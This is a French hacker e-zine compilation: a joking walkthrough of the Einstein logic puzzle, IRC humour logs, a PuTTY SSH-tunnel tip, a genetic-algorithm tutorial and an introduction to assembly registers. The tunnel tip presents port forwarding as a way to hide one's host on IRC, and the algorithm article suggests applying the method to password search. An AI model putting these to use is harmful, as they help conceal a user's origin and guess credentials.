+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      *******        Anglais        *******        *******
  *******        *******        lait           café           *******
  Dunhill        *******        *******        *******        *******
  *******        cheval         *******        *******        *******

(Rq pour ceux qui n'ont pas compris pk, le suédois ne peut s'installer dans  la 
première ou 3eme maison car elle sont déjà pris,et il ne peut  pas  s'installer 
dans la deuxième car il a un chien) (Rq2: le (1) et le (2) devant le ici , sont 
pour me comprendre  quand je dis première proposition et deuxième , capitchi ?)

bon commencent par la deuxième proposition: 
ba  si  monsieur  le  suédois  s'installe dans la  maison blanche  il ne pourra 
pas fumer du Marlboro car son  seul voisin ( ma maison verte )  boit  du   café 
(et donc pas d'eau) ce qui est contre cet indices : "Le  fumeur  de  Marlboro a 
un voisin qui boit de l’eau"


donc on exclu  cette  proposition et  on passe  a la première (pas de  sauterie 
SVP) , ici on a aussi deux choix :
1/(rq: c qu'une supposition)

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      Danois         Anglais        suédois        Allemand
  *******        thé            lait           café           *******
  Dunhill        *******        *******        Marlboro       Rothmanns
  *******        cheval         *******        chien          *******


comme le suédois aime les Marlboro ,il faut qu'un des  voisins  a un chat et un 
autre (ou le même) boit de l'eau , analysons:
-[l'anglais (1er voisin) boit du lait]=>faudra que l'allemand boit de l'eau
-{l'allemand boit de l'eau}&&{suédois boit café}&&{Anglais boit lait} &&{Danois 
 thé}===>La bière reste au Norvégien.


                .--==FATAL ERROR ,SYSTEM HALTED==--.
                |  Supposition impossible:         |
               ||  "Le fumeur de Whinfield boit de ||
              |||   la bière" && [ le Norvégien    |||
             ||||   FUME DU DUNHILL!!!!!!]         ||||
              |||   .--------.       .--------.    |||
               ||   |   OK   |       | Cancel |    ||
                |   '--------'       '--------'    |
                 \________________________________/

Conclusion: cette supposition est fausse

2/

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      Allemand       Anglais        suédois        Danois
  *******        *******        lait           café           thé
  Dunhill        Rothmanns      *******        Marlboro       *******
  *******        cheval         *******        chien          *******


ici ,c'est plus facile : le Suédois n'a pas de voisin buveur d'eau :)

Conclusion: cette supposition est fausse

----- \
------ \  Grande conclusion : Le Suédois ne fume pas de Marlboro
------ /  (ni du Dunhill, ni du Rothmanns, ni du Pall Mall)
----- /   donc il fume du Whinfield :D

---------------
Rappel:
- Le Suédois a un chien.
- Le Danois boit du thé.
- Le fumeur de Pall Mall a un oiseau.
- Le fumeur de Marlboro habite à côté de celui qui a un chat.
- Le fumeur de Whinfield boit de la bière.
- L’Allemand fume des Rothmanns.
- Le fumeur de Marlboro a un voisin qui boit de l’eau.
---------------

voyons si on peut trouver des nouvelles conclusions :
[Le  Suédois  fume  du  Whinfield] => [Le suédois boit de la bière] on remarque 
vite, qu'on sait pas mal de chose sur le Suédois:
-il a un chien
-il fume du Whinfield
-il boit de la bière
-il est Suédois :)

Maintenant  regardons    notre   dessins  pour voir ou pourra-t-on l'installer:


impossible        impossible    impossible       impossible      ici 
cause (immeuble   cause :       cause (immeuble  cause :        possible
pris) |         (chien!=cheval) pris) |        (bière!=café)      |
      |                |              |                |           |
      |                |              |                |           |
     \|/              \|/            \|/              \|/         \|/
      *                *              *                *           *
+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      *******        Anglais        *******        *******
  *******        *******        lait           café           *******
  Dunhill        *******        *******        *******        *******
  *******        cheval         *******        *******        *******

Comme vous voyer le seul endroits possible c'est la maison  blanche :D
Donc on le met la bas :

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      *******        Anglais        *******        Suédois
  *******        *******        lait           café           bière
  Dunhill        *******        *******        *******        Whinfield
  *******        cheval         *******        *******        chien

il est temps pour installer le Danois , non?
une rapide réflexion nous  permet  de conclure qu'il ne peut être que  dans  la  
maison  bleu  ( c'est la seul  parmis  des  vides  a  avoir  un  règlement  qui 
autorise le thé :) , ouf , un autre problème résolu :)

reste qu'une seule maison vide et  un seul SDF (l'Allemand) , ba on a  que  les 
marier (pis  faire une Hot Dog Party (non, non , pas Partouz)  et  inviter tout 
les voisins :)
voici comment est devenu notre shema :

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      Danois         Anglais        Allemand       Suédois
  *******        thé            lait           café           bière
  Dunhill        *******        *******        Rothmanns      Whinfield
  *******        cheval         *******        *******        chien


#Regardons et concluons :

- tout  le  monde bois quelque chose que le Norvégien donc pour qu'il ne pleure 
  pas , donnons lui de l'eau :).
- comme on a donner de l'eau au Norvégien , on donnera du  Marlboro a  son seul 
  voisin le Danois (car "Le fumeur de Marlboro a un voisin qui boit de l’eau").
- maintenant tout le monde fume.. a pars l'Anglais , donc donnons  lui  ce  qui 
  nous reste de cigarettes: du Pall Mall.
- [Le fumeur de Pall Mall a un oiseau]==> on dirai que l'Anglais veut  un  ptit 
  zouille zouille (oiseau).

#voyons ce qui a été fait dans le dessin:

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      Danois         Anglais        Allemand       Suédois
  eau            thé            lait           café           bière
  Dunhill        Marlboro       Pall Mall      Rothmanns      Whinfield
  *******        cheval         oiseau         *******        chien

brrr...le suspense augmente : QUI A CE P**** DE POISSON ??????!!!!

mais Einstein était la pour nous aidez :

Session Start: Sat Nov 29 19:19:08 2003
Session Ident: #[Génies&co]
[19:19] *** Now talking in #[Génies&co]
[19:19] *** Topic is '-=[Génies&co]=- www.Genies.co.fr  
        | <3inst31n>je cherche des pics pour adulte, aider moi ,SVP!!! '
[19:19] *** Set by Pascal on Sat Nov 29 12:49:29
[19:19] <SeriousMan> lu
[19:19] *** Quits: Pascal (Pascal@Recycled-irc-1C4270D5.31337.madchat.org)
[19:25] *** hERMOL7 is now known as hERMOL
[19:26] <+hERMOL> !halfop
[19:26] *** GenieBot sets mode: +h hERMOL
[19:29] *** Joins: 31nst31n (Einstein@Recycled-irc-1C427-P45.31337.mindkind.org)
[19:29] *** GenietBot sets mode: +v 31nst31n
[19:30] <+31nst31n> lu tt le monde
[19:31] <+DalKiT> lu
[19:32] <SeriousMan> lu
[19:32] <+31nst31n> comment ca va, serious
[19:33] <SeriousMan> mal, très mal, chui bloque dans ta putin d'enigme
[19:33] <+31nst31n> si tu veut jt'aide 
[19:33] <SeriousMan> ok ,t'a pas d'indices ?
[19:43] <+31nst31n> hmmm...laisse moi pense
[20:43] <+31nst31n> voit ça:
[20:43] <+31nst31n> Le fumeur de Marlboro habite à côté de celui qui a un chat.
[20:44] *** Quits: 31nst31n (Einstein@Recycled-irc-1C427-P45.31337.mindkind.org)

oui,oui celui qui fume du Marlboro habite a côté de celui qui  a un   chat  donc 
celui qui a un chat c''est le Norvégien :)     

                      
                                                                  (.) /___c'est une parabole
CONCLUSION:                                                        |  \   
      **             **             **             **             **      
     /. \           /  \           /  \           /  \           /  \     
   /      \       /  ,   \       /  ,   \       /  ,   \       /  ,   \   
 /          \   /  ,    ,  \   /  ,    ,  \   /  ,    ,  \   /  ,    ,  \ 
+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune  _  | |  bleu    _ | |  rouge  _  | |  verte   _ | |  blanche _ |
|        |o| | |         |o|| |        |o| | |         |o|| |         |o||
+--------|-|-+ +---------|-|+ +--------|-|-+ +---------|-|+ +---------|-|+
  Norvégien      Danois         Anglais        Allemand       Suédois     
  eau            thé            lait           café           bière       
  Dunhill        Marlboro       Pall Mall      Rothmanns      Whinfield   
  chat           cheval         oiseau            /|\         chien       
                                                   |                      
                                                   |                      
                                          ________/                       
                                         /                                
                                         |                                
                                         |                                
                                         |                                
                                        /  |\                             
                            |\             | \                            
                            \ \  M  i  n  d| o\                           
                             ) \-----------|   )                          
                             ) / K  i  n  d| _/                           
                            / /            | /                            
                            |/             |/                             
                                                                          



c'était pas si difficile ,non ?
je  suis  fier  de moi,je fait parti des 2% de la population mondiale :) je  me 
suis  amuser  a  voir  mon QI en se basant sur ce pourcentage :
j'ai  chercher  un  tableau  ou courbe pour la classification de l'intelligence 
avec des pourcentage , le voici :


+------------+---------------------------------+--------------------+
|    QI      |         Classification          |   pourcentage de   |
|            |                                 |    la population   |
+------------+---------------------------------+--------------------+
|   >=130    |     Très supérieur              |    2.2%            |
+------------+---------------------------------+--------------------+
|  120-129   |     Supérieur                   |    6.7%            |
+------------+---------------------------------+--------------------+
|  110-119   |     Normale supérieur           |    16.1%           |
+------------+---------------------------------+--------------------+
|  90-109    |     Normale                     |    50.0%           |
+------------+---------------------------------+--------------------+
|  80-89     |     Normale médiocre            |    16.1%           |
+------------+---------------------------------+--------------------+
|  70-79     |     Cas limité                  |    6.7%            |
+------------+---------------------------------+--------------------+
|  =<69      |     Arriération mentale         |    2.2%            |
+------------+---------------------------------+--------------------+


on dirait que j'ai ou bien un QI de Swarzeneger ou un QI de >=130  :D bien  sur 
ce résultat est totalement faux car:
1/il se peut que ce que prétendait Einstein est faux
2/même  s'il  est vrai, le pourcentage ne peux pas être vrai car l'intelligence 
  des gens a "sûrement" augmenté depuis plus qu'un 1/2  siècle  ( j'entend  vos 
  rire :D )
3/ce qu'on  utilise dans  cet  énigme  c'est la logique , mais ce que mesure le 
  QI c'est la mémoire , mathématique, manipulation de mots (ou quelque chose de 
  sa) et... logique :)


Remarque derniere minute: j'ai trouvé cette enigme ici:
http://ledragounet.free.fr/drag22.pdf , il affirmait que "Einstein, qui a conçu 
cette  énigme au siècle dernier, prétendait que 98 % de la population  mondiale 
était  incapable de  résoudre  ce  problème" mais "a ma surprise" , j'ai trouvé 
qu'en  pyrofreak #10 ,  ils   disaient  "Selon  Einstein,  "70%"  des gens sont  
INCAPABLES de  résoudre le test  suivant",  ce qui est plus logique (c'est vrai 
que l'enigme n'est pas facile , mais elle  n'est  pas très difficile non plus), 
donc j'ai cherché d'autres  sources  oû j'ai  trouvé la même affirmation que le
premier liens , étrange.



_______________________
"Imagination Is more Important than Knowledge."__Albert Einstein***
"The best way to predict the future is to invent it"__TrouVez Chez Mindkind********
"we are'nt arrogant, we are just better than you"__TrouVez Che< Mindkind***********
"Si on vous dit que chez nous il règne mauvaise humeur, répondez simplement que cela
vient des hormones..."__Madchat Spam************************************************

.----------------------------------------------- - - --- - ---
| Seriousman   [Seriousman at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



-> Putty.exe, ez ssh tunnel
  
Ça vous  tente de  bouncer a  partir d'une  box que  vous avez   un accès shell
dessus. Malheureusement ça vous tente pas d'installer un proxy ou une merde  du
genre.

Eh bien si ya ssh ya moyen de  faire un "ssh tunnel". En gros c'est de  prendre
la connexion ssh comme un proxy (ou tunnel), le tout sans interféré la session.

Comment faire? Avec putty.exe c'est simple :
Loader  votre  session (sans  se  connecter), et  aller  dans Connection,  SSH,
Tunnels. En bas dans  Source port écriver 6969  par exemple, et destination  le
IP:PORT de  la destination.  Vous cochezz local. Ensuite  vous cliquer  Add. Et
voila! Connecter vous sur  la box en SSH,  et ensuite vous pouvez  vous plugger
sur votre localhost 127.0.0.1  sur le port 6969  pour avoir le tunnel  de votre
ssh (en ayant cocher  Local ça va faire  que le port est  accessible localement
seulement).

Par exemple si  vous mettez 194.134.7.195:6667  comme serveur et  que vous vous
connecter sur 127.0.0.1:6969  dans votre client  IRC, vous allez  vous ramasser
sur le serveur  IRC du IP,  mais avec le  host de la  machine a laquelle  votre
session SSH est  ouverte. De plus,  vous pouvez utiliser  la session SSH  comme
d'habitude, le tunnel est "transparent".




    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.10  Mendel et ses bytes
:                              aka 'les algorythmes genetiques'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |

I. Introduction
Il  existe  des  problèmes pour lesquels on ne peut  pas  trouver  de  solution 
optimale parcequ'il n'existe pas d'algorithme pour la  trouver  ou parceque les 
algos existants sont trop coûteux. Mais  comme  vous vous en doutez, on ne veut 
pas lacher l'affaire, il nous FAUT la solution ou le truc qui s'en rapproche le 
plus. C'est à ça que servent les algorithmes génétiques dont nous allons parler 
dans cet article... (comment vous  aviez  deviné ?)  si  vous  n'aimez  pas  la 
théorie, que vous avez mal à la tête ou  que  vous devez nourrir votre lémurien 
dans 2mn  : goto end;

On va prendre un exemple de cas qui arrive souvent :
on a une "boite noire" (f) à qui on passe une valeur (x) et qui  nous  retourne 
une autre valeur en échange (y). Mais on ne  connait  pas  f  pour  une  raison 
quelconque (vous n'avez pas les  sources de f, f est quelque part sur le réseau 
sur une machine sécurisé, ... [complétez les pointillés comme vous le sentez]).
Notre problème c'est qu'on veut trouver la valeur de x qui  donne  un certain y 
sans rien savoir sur f... La  première  solution barbare c'est de passer toutes 
les valeurs de x possibles à f et éspérer obtenir en retour le y qu'on  veut... 
évidemment cette solution ne marche pas dès que le  nombre  de  x  possible est 
grand ou que f est difficilement calculable.


On parlait pas d'algos génétiques par hasard ?

I. Bases

On va commencer par initialiser quelques solutions possibles  aléatoirement. On 
commence donc avec x1, x2, ..., xN qui sont des x possibles parmi les solutions 
mais  pris  totalement  au hasard. On demande à f les y qui correspondent à ces 
x... On se retrouve donc avec f(x1), f(x2), ... f(xN).

La deuxième chose essentielle c'est qu'on doit avoir une  fonction "g" qui nous 
donne la qualité d'une solution. Par exemple plus une solution est proche de ce 
qu'on cherche, plus g(xI) va retourner une petite valeur.C'est ce qu'on appelle 
la  fonction  d'évaluation.  Si  vous  ne  pouvez pas en trouver une pour votre 
problème ===> goto end;  Cette  fonction  sert  à classer les solutions qu'on a 
sous la main de la meilleure à la moins bonne.

bon ça fait pas mal de blabla tout ça, je vous saoule ? ok.  on  va  prendre un 
petit  exemple  concret :  on  va  se  prendre  un  f  tout bête pour l'exemple 
f(x) = 2*x (je vous rappelle que  nous on NE CONNAIT PAS f sinon aucun interêt) 
On veut trouver  le  x  pour  lequel  f(x) = 100  il   nous  faut  la  fonction 
d'évaluation g(x) qui dit si x est une bonne solution... dans  ce  cas ci c'est 
simple une solution est  bonne  si  elle  est  proche de 100 donc on regarde la 
distance entre 100 et f(xI) :
g(xI) = | 100 - f(xI) |
Plus on va se rapprocher de ce qu'on cherche (100),  plus  g  va  retourner une 
petite valeur donc c'est ok.

On initialise aléatoirement quelques x : 2, 5, 10, 7, 24, 38
avec notre g, on évalue leur qualité et on les classe :
1. 38
2. 24
3. 10
4. 7
5. 5
6. 2

(ok ok j'avoue mon exemple est débile mais c'est juste pour  expliquer hein)

Quel interêt ? vous trouvez ça idiot ?
bah maintenant on va faire se reproduire nos solutions ! 
(non je n'écris pas sous l'emprise de substances psychotropes 
;o)

II. Main

Une  fois  qu'on  a  le classement de nos solutions de la  meilleure à la moins 
bonne, on va sélectionner les meilleures solutions pour qu'elles deviennent les 
parents des solutions  suivantes... (obscur ? read_next();)  D'après  ce  qu'on 
vient de dire, on va donc se prendre quelques solutions parmi les  meilleures : 
38, 24, 10 Ce sont les parents de nos solutions suivantes.

On va maintenant voir comment leur faire faire des enfants : Comme  le titre de 
l'article est "les algorithmes génétiques",  il  va  bien  falloir  les  placer 
quelques part les gènes : 
read_next(); ! On va considérer les solutions qu'on a  sélectionnées  comme des 
chromosomes...dans ce cas ce  sont  des  nombres  qui  ont  une  représentation 
binaire, donc on peut les 
voir comme :
38 : 0 1 0 0 1 1 0 
24 : 0 0 1 1 0 0 0
10 : 0 0 0 1 0 1 0
c'est marrant ça ressemble à un chromosome comme ça non ?
si vous avez suivi 2 3 cours de biologie  vous  vous  rappellez  peut  être  de 
comment se combinent 2 chromosomes...
On tire au sort 2 parents : on va dire 38 et 24
on veut un truc qui fasse 1 0 0 1 1 0 + 0 1 1 0 0 0 = deux 
enfants...
bah il suffit de prendre un indice dans le papa :
0 1 0 0 1 1 0
       ^      
ça nous fait 2 bouts de chromosomes : 1 0 0 et 1 1 0
on fait pareil avec la maman de manière à pouvoir faire des enfants  de la même 
taille que les parents :
0 0 1 1 0 0 0
       ^
maintenant il suffit de recombiner 1 morceau du papa avec 1 morceau de la maman 
* 2 et on obtient 2 enfants :
0 1 0 0 + 0 0 0 = 0 1 0 0 0 0 0
0 0 1 1 + 1 1 0 = 0 0 1 1 1 1 0
on repasse dans la représentation compréhensible (phénotype  pour  les  fans de 
biologie) :
1 0 0 0 0 0 = 32
0 1 1 1 1 0 = 30
bon c'est pas encore super mais on peut voir que on va  vers  une  amélioration 
des solutions...On recommence l'opération  plusieurs  fois jusqu'à ce qu'on ait 
assez d'enfants.

Par contre on a oublié un truc  qui  se  passe  dans  la  nature  (cf  cours de 
biologie toujours [héhé comme quoi ya des  trucs  qui servent là où on l'attend 
pas]). pendant les reproductions, il arrive que par magie, un élément d'un gène 
change spontanément...  on  appelle  ça  la  mutation.  dans  notre  algorithme 
génétique, on va donc fixer une probabilité qu'un  enfant  soit  victime  d'une 
mutation  (yen   a  sur  #mindkind.org  qui  ont  du  muter  plus   d'une  fois 
d'ailleurs... anyway : 
read_next();) par exemple, on avait fait un enfant 
0 1 0 0 0 0 0 on tire un indice au hasard 
(par exemple 3) => l'enfant mute et devient 0 1 1 0 0 0 0 !
Il faut cependant que la probabilité que ça arrive ne soit pas trop importante, 
sinon nos reproductions ne vont rien améliorer du tout... souvent on prend 
p(mutation) = 0.05 ou 0.1 à la rigueur... au  dessus  c'est  que  vous  habitez 
tchernobyl et vous aurez des enfants loupés :/

On rajoute tous les enfants qu'on a obtenu  avec  les  parents.  on  refait  un 
classement et on sélectionne les N meilleurs (ici 6 puisqu'on a commencé avec 6 
solutions au début) et on recommence tout ça depuis le début !
On s'arrête quand on a trouvé ce qu'on cherchait...
pour certains problèmes très difficiles pour lesquels  une  solution  approchée 
suffit, on s'arrête au bout d'un temps  fixé  ou  quand  la  meilleure solution 
trouvée est assez proche de celle cherchée.

III. Résumé
Comme tout ça n'est pas très clair un petit pseudo code ne fait pas de mal :

population = initialisation_aleatoire();

while(bonne solution pas dans population) {
  faire un classement de population avec la fonction d'évaluation;
  parents = meilleurs de population;
  enfants = résultat de la reproduction des parents; // ne pas oublier 
                                                     // de faire quelques 
						     // mutations
  population_intermediaire = parents + enfants;
  faire un classement de population_intermediaire avec la fonction d'évaluation;
  new_population = meilleurs de population_intermediaire;
  population = new_population;
}

Il existe pas mal de variantes de cet algorithme de base... notamment au niveau 
des méthodes de sélection des parents ou  de  la  nouvelle population. On n'est 
pas obligé de toujours  choisir  les  meilleurs :  on  peut  tirer  au sort des 
chromosomes en fonction de leur place au classement (du genre : 1er  a  30%  de 
chances d'être tiré au sort, le 2ème 20%, ...)  A  vous  de  voir  comment vous 
pouvez faire varier des paramètres,  la  façon  de  sélectionner des individus, 
leur méthodes de reproductions...

IV. Conclusion

merci à ceux qui ont lu jusqu'ici... j'éspère que j'ai pas été trop obscur ! Si 
j'ai attisé votre curiosité c'est déjà ça :o]  Pour  ceux  qui  sont  pas  trop 
bêtes,  vous  remarquerez  que  les  algorithmes  génétiques sont applicables à 
pleins de trucs :
imaginez que vous cherchez une chaine de caractères  (password  ou  autre),  il 
suffit de remplacer les 0 et les  1  par  des  caractères et ça revient au même 
(par contre  la  fonction  d'évaluation "g" peut être plus difficile à trouver)
Les algos génétiques ne sont pas magiques non plus... il n'y a aucune assurance 
de trouver la bonne solution ! votre algo peut tourner 10^32 années sans jamais 
trouver la solution. mais dans  la plupart des cas du style de celui du dessus, 
avec un poil de  chance,  il  s'arrête  vite  et  donne  des résultats pas trop 
mauvais. si ça vous a plu, faites le savoir et peut  être  que  je  coderai  un 
petit truc en C pour le prochain zine qui illustre tout ça de manière pratique.

 
   

.----------------------------------------------- - - --- - ---
| TheTurtle   [theturtle at email2me dot net] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < Mindkind fun nights on IRC >

  [00:46] <Wyzeman> LastCall_ envoye moi des biscuit au chocolat
  [00:46] <LastCall_> hum
  [00:46] <LastCall_> tu code?
  [00:46] <LastCall_> haha
  [00:46] <Wyzeman> non, jai faim
  [00:46] <LastCall_> 00:46] DCC Send of biscuit_pépites_chocolat to
                      Wyzeman: Unable to open file
  [00:46] <LastCall_> marche pas
  [00:47] <LastCall_> connerie de mirc
  [00:47] <LastCall_> hahaha
  [00:47] <Wyzeman> va sur #aide
  [00:47] <LastCall_> haahaha
  [00:47] <LastCall_> [00:47] * Now talking in #aide
  [00:47] <LastCall_> [00:47] <LastCall_> ail jai un gros problème
  [00:47] <LastCall_> [00:47] <LastCall_> mon mirc arrive pas a sender des
                                          biscuits a mon ami
  [00:47] <LastCall_> [00:47] <LastCall_> quoi faire?
  [00:47] <LastCall_> hahah
  [00:47] <ticker> lol
  [00:47] <LastCall_> [00:47] <LastCall_> ca dit DCC Send of
                      biscuit_pépites_chocolat to Wyzeman: Unable to open file
  [00:48] <LastCall_> [00:48] <JP`> LastCall_ le 'directory' du fichier que tu
                      essaie d'envoyer n'est pas bon ou l'extension du fichier
                      est le problème
  [00:48] <LastCall_> HAHAHAHA
  [00:49] <Wyzeman> quote
  [00:49] <c4ndu> esti qui sont stupide 
  [00:49] <LastCall_> 0:49] <LastCall_> ben
  [00:49] <LastCall_> [00:49] <TrEt][CS> ahah
  [00:49] <LastCall_> [00:49] <LastCall_> mes biscuits sont dans l'armoire,
                      faudrait jles apporte proche de lordi?
  [00:49] <LastCall_> hahahahaha
  [00:49] <LastCall_> ROFLMAO
  [00:49] <ticker> lol
  [00:50] <Wyzeman> mindkind, votre divertissement de fin de soiree
  [00:50] <Wyzeman> mindkind, un quote attend pas lautre :)
  [00:50] <LastCall_> 0:49] <TrEt][CS> JP' tu voit bin quit niese
  [00:50] <LastCall_> [00:50] * You were kicked by X ((JP) tu connais le complexe d'eudype?)
  [00:50] <LastCall_> [00:50] * Attempting to rejoin channel #aide
  [00:50] <LastCall_> [00:50] * Unable to join channel (address is banned)
  [00:50] <LastCall_> HAHAHA

  < ----------------------- >




    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.11  intro à l'asm
:                              aka 'au debut, ben yavait l'asm'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


TABLE DES MATIÈRES

1.0...................................INTRO
1.1............FONCTIONNEMENT.DU.PROCESSEUR
1.1.1......................LANGUAGE.MACHINE
1.1.2.............................RÉGISTRES
1.2............FONCTIONNEMENT.DE.LA MÉMOIRE
2.0................PROGRAMMER.EN.ASSEMBLEUR
2.1.....................OUTILS.NESCESSAIRES
2.1.1...................SYNTHAXE.DES.OUTILS
2.2.......PRÉSENTATION.DE.COMMANDES.DE.BASE
2.3...........ANALYSE.D'UN.VRAI.CODE.SOURCE
2.4.............................APPROFONDIR
2.5..............................CONCLUSION





1.0) INTRO

Cet article s'adresse à des débutants. Si vous avez déjà le moindrement codé en
assembleur, je vous conseil de ne pas perdre votre temps à lire ce qui suis, ce
sera sans doute du déjà vu pour vous.

L'assembleur est un language de programmation de bas niveau.  En   fait,   plus
bas que l'asm c'est carrément le language machine,  c'est  à  dire  les  seules 
instructions que le processeur  comprend (  voir  plus  loin ).  L'avantage  de 
programmer  en  assembleur  c'est  que  les progs codés directement en asm sont 
beaucoup plus rapides à executer que les programmes codés en c++, en java ou en 
n'importe  quels  autres  languages  on  s'en  sacre.  Une des raisons de cette 
rapidité  d'éxécution  réside  dans  le compilateur. En effet, quand on code de 
quoi en c++,  le  compilateur  doit  convertir  toutes  les   insctructions  en 
assembleurs,  puis  par la suite le convertir en language machine tandis que si 
on code en asm, le compilateur  a  juste  besoin  de  le  convertir en language 
machine. Jusque là ça change rien puisque les 2 finissent  en  language machine 
mais les compilateur de c++, quand ils convertissent des  trucs  en assembleur, 
ils rajoutent pleins d'instructions  inutiles  au  fonctionnement  de  base  du 
programme (  c'est  comme faire un document html avec un éditeur html ).Tous le 
code qui rajoute va ralentir l'exécution du programme.

Il  y  a  plusieurs  autres  avantages de codé directemet en  assembleur.   Par
exemple, l'assembleur permet un accès direct aux périfériques  de  la  machine.
C'est pourquoi plusieurs applications qui utililes les différents  périfériques
( carte de son, carte vidéo... ) sont codés en partie en asm tels  que des jeux
ou des systèmes d'exploitations. 

Pour pouvoir coder en assembleur, il faut  une  très  bonne   connaissance   du
fonctionnement de l'ordinateur à l'interne. C'est à dire le  fonctionnement  du 
processeur  (surtout)  et  de  la  mémoire.  La suite de l'article va donc être 
consacrée à un overview du fonctionnement général du processeur et aussi de  la 
mémoire. 





1.1) FONCTIONNEMENT GÉNÉRAL DU PROCESSEUR


1.1.1) LANGUAGE MACHINE :
 
Chaque processeur est doté d'un set d'instruction. Ces  instructions  sont  les 
seules  choses  qu'il comprenne. Les différents processeurs 32 bits ont environ
tous  les  même  sets  d'instructions  pour  qu'ils soient tous compatible avec 
divers périfériques de différentes marques sur  le  marché. C'est l'ensemble de 
ces instructions qui forme le language machine. Pour bien comprendre jettons un 
coup d'oeil à l'image nommée "Instrucion set" disponible dans la  version  full 
du zine.
 
Chaque commande en assembleur est associé à une code. À titre   d'exemple,   la
commande  PUSH AX en assembleur est défini par le code 50 (5e ligne, 0e colone)
dans le set d'instruction du processeur. Ce qui veux dire qu'une fois convertit 
en language machine, l'instruction PUSH AX que j'ai écrite sera transformée par 
50.  Le processeur va savoir que lorsqu'il voit 50, il doit faire PUSH AX. Même 
chose  avec chaque instruction asm ( exemple 2 : LOOP sera traduis par E2 ), et 
ainsi de suite...


1.1.2) RÉGISTRES : 

La  2e  chose  essentielle  à  savoir  lorsqu'on  code en assembleur  c'est  le 
fonctionnement  des  régistres.  Pour simplifier le tout, je vais commencer par 
les  processeurs  16  bits.  Chaque  processeur 16 bits contient 4 régistres de 
bases ( AX, BX, CX, DX ) et chaque régistre de base est séparé en 2 : Low level 
et  High level ( AH, AL, BH, BL, CH, CL, DH, DL ). Puisqu'un dessin vaut milles 
mots...

Exemple avec le régistre AX

	 _____________
	|             |       
	| AX(16 bits) |
	|_____________|         
	|     |       |
	| AH  |  AL   | <---- 2 sous-régistres de 8 bits chaqun
	|_____|_______|


	En  32  bits,  c'est  la même  chose  exepté que les régistres de bases 
	sont appelés EAX, EBX, ECX, EDX ( extended...) 


Exemple avec le régistre EAX


	 ___________________________________________
	|                                           |
        |              EAX ( 32 bits )              |
        |___________________________________________|
        |                     |
        |    AX ( 16 bits )   |
        |_____________________|
        |          |          |
        |   AH     |    AL    | <------ 8 bits chacun
        |__________|__________|



En assembleur, chaque régistre de base est utilisé comme une  variable  pouvant 
contenir une seule donnée numérique. Pour stocker des chiffres il n'y  a  aucun 
problème mais pour stocker un caractère il va falloir utiliser son  code  ASCII 
correspondant ( voir ASCII.jpg dans la version full du zine ).



*****************************ENRICHISSEMENT************************************
									         
 Il existe également 5 autres régistres qu'on appelle "Régistre d'offset". Il   
 s'agit de BP, SP, IP, SI et DI. Évidemment en 32 bits chaques régistres sera   
 précédés d'un E.  							 	 
										 
 - SI : Source Index								 
   Ce régistre est associé au régistre de segment DS ( voir plus loin ). 	 
   Principalement utilisé lors d'opération sur des chaînes de caractères.	 
										 
 - DI : Destination Index							 
   Ce régistre est associé au régistre de segment DS ou ES. Principalement 	 
   utilisé lors d'opération sur des chaînes de caractères aussi.		 
										 
 - BP : Base Pointer								 
   Ce régistre est associé au registre de segment SS pour accéder aux données 	 
   de la pile lors d'appels ( CALL ) de sous-programmes (fonction).		 
										 
 - SP : Stack Pointer								 
   Ce régistre est associé au registre de segment SS pour indiquer le dernier 	 
   éléments de la pile.							 
										 
 - IP : Instruction Pointer							 
   Ce régistre est associé au registre de segment CS pour indiquer la prochaine
   instruction à executer.							 
										 
										 
 Les régistres de segments sont utilisés pour stocker l'adresse de début 	 
 d'un segment ( début d'instruction d'un programme, du début de la pile ou	 
 du début des données ).							 
 										 	
 - CS : Code segment								 
   Ce registre indique l'adresse du début des instructions d'un programme ou 	 
   d'une fonction.								 
										 
 - DS : Data segment								 
   Ce registre contient l'adresse du début des données de vos programmes.	 
										 
 - ES : Extra segment								 
   Ce registre est utilisé par défaut par certaines instructions de copie. 	 
   En dehors de ces instructions, vous pouvez l'utiliser comme vous voulez.	 
										 
 - SS : Stack segment								 
   Pointe vers la pile.							 
										 
										 
